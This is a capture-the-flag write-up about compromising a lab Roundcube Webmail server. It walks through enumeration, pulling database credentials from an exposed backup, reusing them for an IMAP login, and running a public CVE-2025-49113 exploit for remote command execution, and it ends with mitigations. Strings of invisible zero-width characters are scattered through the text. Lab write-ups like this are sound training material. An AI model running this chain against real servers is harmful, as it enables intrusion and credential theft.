Pochta (Mail)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: backup_file_discovery, blind_rce, config_credential_extraction, credential_reuse, cve_exploitation

Summary

Task: Compromise a Roundcube Webmail server. Solution: Discover exposed update.zip backup via directory enumeration, extract MySQL credentials from config.inc.php, reuse credentials for IMAP login, then exploit CVE-2025-49113 (authenticated RCE via PHP deserialization) to get shell and read the flag.

Pochta (Mail) - Hackerlab

Description

Вы пользуетесь электронной почтой? У меня для Вас плохие новости.

Target: 192.168.2.252

Analysis

The challenge presents a mail server with Roundcube Webmail. The attack chain involves:

1. Finding exposed backup archive with configuration files
2. Extracting database credentials that work for IMAP
3. Exploiting CVE-2025-49113 (authenticated RCE) in Roundcube 1.6.10

Solution

Step 1: Reconnaissance

 bash read-only • copy allowed Copy
nmap -sV -sC -p- 192.168.2.252

Results:

• Port 22: SSH OpenSSH 9.7
• Port 80: Apache 2.4.62 with Roundcube Webmail
• Port 143: IMAP Dovecot
• Port 993: IMAPS Dovecot ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Checking robots.txt revealed /roundcube path. Version detection from CHANGELOG.md showed Roundcube 1.6.10.

Step 2: Directory Enumeration

 bash read-only • copy allowed Copy
ffuf -u http://192.168.2.252/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .zip,.bak,.tar.gz

Discovered update.zip (7.3MB) at web root - a backup/update archive containing Roundcube installation files.

Step 3: Credential Extraction

 bash read-only • copy allowed Copy
curl -O http://192.168.2.252/update.zip
unzip update.zip
cat config/config.inc.php

Found MySQL credentials in config: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 php read-only • copy allowed Copy
$config['db_dsnw'] = 'mysql://rcuser:47fB6243fcJig@localhost/roundcube';

Step 4: Credential Reuse for IMAP

Testing the MySQL password for IMAP authentication:

 bash read-only • copy allowed Copy
openssl s_client -connect 192.168.2.252:993
# After connection:
a LOGIN rcuser 47fB6243fcJig
# Response: a OK [CAPABILITY ...] Logged in

Successfully logged into Roundcube webmail as rcuser:47fB6243fcJig.

Step 5: CVE-2025-49113 Exploitation

Roundcube 1.6.10 is vulnerable to CVE-2025-49113 - an authenticated RCE via PHP deserialization. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Download exploit
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit
cd CVE-2025-49113-exploit

# Execute blind RCE - write output to web-accessible directory
php CVE-2025-49113.php \
    "http://192.168.2.252/roundcube/" \
    "rcuser" \
    "47fB6243fcJig" \
    "id > /var/www/localhost/htdocs/roundcubemail-1.6.10/temp/output.txt"

# Verify RCE
curl http://192.168.2.252/roundcube/temp/output.txt
# uid=102(apache) gid=103(apache)

Step 6: Flag Retrieval

 bash read-only • copy allowed Copy
# Find flag files
php CVE-2025-49113.php \
    "http://192.168.2.252/roundcube/" \
    "rcuser" \
    "47fB6243fcJig" \
    "find / -name '*flag*' 2>/dev/null > /var/www/localhost/htdocs/roundcubemail-1.6.10/temp/output.txt"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

curl http://192.168.2.252/roundcube/temp/output.txt
# /tmp/flag.zip

# Copy flag to web directory
php CVE-2025-49113.php \
    "http://192.168.2.252/roundcube/" \
    "rcuser" \
    "47fB6243fcJig" \
    "cp /tmp/flag.zip /var/www/localhost/htdocs/roundcubemail-1.6.10/temp/flag.zip"

# Download and extract
curl -O http://192.168.2.252/roundcube/temp/flag.zip
unzip flag.zip
cat root/flag.txt

Vulnerabilities Exploited

Mitigation

1. Remove backup files from web-accessible directories
2. Use unique passwords for different services (DB, IMAP, etc.)
3. Update Roundcube to version 1.6.11+ or 1.5.11+
4. Restrict temp directory access via web server config
5. Implement WAF rules to detect deserialization attacks

References

• https://nvd.nist.gov/vuln/detail/CVE-2025-49113
• https://github.com/hakaioffsec/CVE-2025-49113-exploit
• https://fearsoff.org/research/roundcube
• https://roundcube.net/news/2025/01/15/security-updates-1.6.11-and-1.5.11 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍